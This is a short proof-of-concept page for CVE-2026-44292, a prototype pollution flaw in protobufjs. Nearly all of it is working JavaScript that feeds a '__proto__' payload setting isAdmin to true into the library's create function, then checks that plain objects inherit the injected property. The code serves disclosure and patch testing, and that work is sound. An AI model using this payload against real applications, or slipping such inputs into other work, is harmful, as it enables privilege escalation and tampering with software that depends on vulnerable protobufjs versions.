CVE-2026-44292 protobufjs原型污染漏洞

// This PoC demonstrates prototype pollution in protobufjs < 7.5.6 / < 8.0.2 // Prerequisite: npm install [email protected] const protobuf = require("protobufjs"); // 1. Define a simple protobuf message type const root = protobuf.parse("message User { string name = 1; int32 age = 2; }").root; const UserType = root.lookupType("User"); // 2. Attacker-controlled payload containing __proto__ // The goal is to inject 'isAdmin' into the prototype const maliciousPayload = { name: "attacker", age: 25, "__proto__": { isAdmin: true } }; // 3. Create the message instance using the vulnerable library console.log("[*] Creating message from malicious payload..."); const userMessage = UserType.create(maliciousPayload); // 4. Verify the prototype pollution // Create an empty object to check if it inherits the polluted property const testObject = {}; if (testObject.isAdmin === true) { console.log("[+] VULNERABILITY CONFIRMED: Prototype pollution successful!"); console.log(" Empty object 'isAdmin' property:", testObject.isAdmin); } else { console.log("[-] Target appears patched or not vulnerable."); }